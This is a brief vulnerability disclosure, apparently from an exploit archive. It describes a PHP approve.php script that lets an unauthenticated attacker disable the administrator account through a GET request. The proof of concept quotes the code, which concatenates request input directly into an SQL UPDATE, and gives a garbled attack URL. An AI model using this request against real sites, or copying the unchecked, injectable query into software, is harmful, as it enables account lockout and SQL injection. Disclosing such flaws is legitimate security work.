...::[ Bug ]::..

A attaker can remotely disable the account from administratore not
allowing the same to be able to access the site

...::[ Proof Of Concept ]::..

 if ($_GET['a'] == 'app0'){
                 $sqlapprove = mysql_query("UPDATE members SET
approved = '0' WHERE id = '".$_GET['u']."'");

by sending the command approve.php? u = a = 1 & app0 a attaker can
disable the Administrator account.
